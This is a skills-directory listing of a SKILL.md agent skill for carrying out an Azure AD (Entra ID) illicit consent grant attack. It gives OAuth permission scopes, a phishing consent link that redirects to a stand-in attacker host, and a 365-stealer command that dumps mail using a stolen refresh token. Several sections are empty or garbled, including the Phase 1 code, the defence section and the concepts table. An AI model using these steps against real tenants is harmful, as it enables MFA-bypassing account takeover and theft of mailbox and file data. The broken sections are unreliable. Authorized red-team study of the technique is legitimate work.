Back to skills
SKILL.md
Azure Ad Illicit Consent Grant
ASecurityExploit Illicit Consent Grants in Azure Active Directory (Entra ID). This skill covers crafting a malicious OAuth application to trick victims into granting broad permissions (like reading emails, modifying files) without requiring their password or MFA.
- 22 stars
- 0 votes
- 0 copies
- 5 views
- Added September 12, 2026
Works with
Security analysis
100/100Pro scans all 3 files and shows the line behind each finding
npx -y skills add ShulkwiSEC/bb-huge --skill azure-ad-illicit-consent-grant --agent claude-codeAre you the author of Azure Ad Illicit Consent Grant?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/shulkwisec-azure-ad-illicit-consent-grant)---
name: azure-ad-illicit-consent-grant
description: >
Exploit Illicit Consent Grants in Azure Active Directory (Entra ID). This skill covers
crafting a malicious OAuth application to trick victims into granting broad permissions
(like reading emails, modifying files) without requiring their password or MFA.
domain: cybersecurity
subdomain: penetration-testing
category: Cloud Security
difficulty: intermediate
estimated_time: "2-3 hours"
mitre_attack:
tactics: [TA0001, TA0005, TA0009]
techniques: [T1528]
platforms: [azure, cloud]
tags: [azure, entra-id, oauth, illicit-consent, phishing, cloud-pentesting]
tools: [azure-cli, burp-suite, 365-stealer]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---
# Azure AD Illicit Consent Grant Attack
## When to Use
- When conducting cloud-focused Red Team engagements where standard credential phishing is blocked by strong Multi-Factor Authentication (MFA).
- To maintain stealthy, persistent access to a user's Microsoft 365 data (emails, OneDrive) by relying on OAuth refresh tokens rather than stolen passwords.
## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
## Workflow
### Phase 1: Registering the Malicious Application
```bash
# ```
### Phase 2: Defining Scopes and Permissions
```json
// // {
"requestedPermissions": [
{ "id": "Mail.ReadWrite", "type": "Scope" },
{ "id": "Files.ReadWrite.All", "type": "Scope" },
{ "id": "User.Read", "type": "Scope" }
]
}
```
### Phase 3: Crafting the Consent Link (The Phish)
```http
# # https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=ATTACKER_APP_ID
&response_type=code
&redirect_uri=https://attacker-controlled-site.com/callback
&response_mode=query
&scope=Mail.ReadWrite%20Files.ReadWrite.All%20User.Read%20offline_access
&state=12345
```
### Phase 4: Harvesting the Tokens and Accessing Data
```bash
# python3 365-stealer.py --refresh-token [STOLEN_REFRESH_TOKEN] --dump-mail
```
#### Decision Point π
```mermaid
flowchart TD
A[Send Phishing Link ] --> B{User Consents? ]}
B -->|Yes| C[Receive Auth Code ]
B -->|No| D[Revise Pretext ]
C --> E[Exchange for Token ]
```
## π΅ Blue Team Detection & Defense
- **Restrict App Consent**: - **Monitor Azure AD Audit Logs**: **Defend against Oauth Phishing**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Azure Ad Illicit Consent Grant β Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] β [Brief description]
[Finding 2]: [Severity] β [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
```
## π Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) β Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) β HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) β Verified disclosed bounties by vulnerability class
## References
- Microsoft: [Detect and Remediate Illicit Consent Grants](https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants)
- O365 Stealer: [GitHub Repository](https://github.com/AlteredSecurity/365-Stealer)
Files in this skill
- SKILL.md
- evals/evals.json
- scripts/process.py
Attribution
Comments
Loading commentsβ¦
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.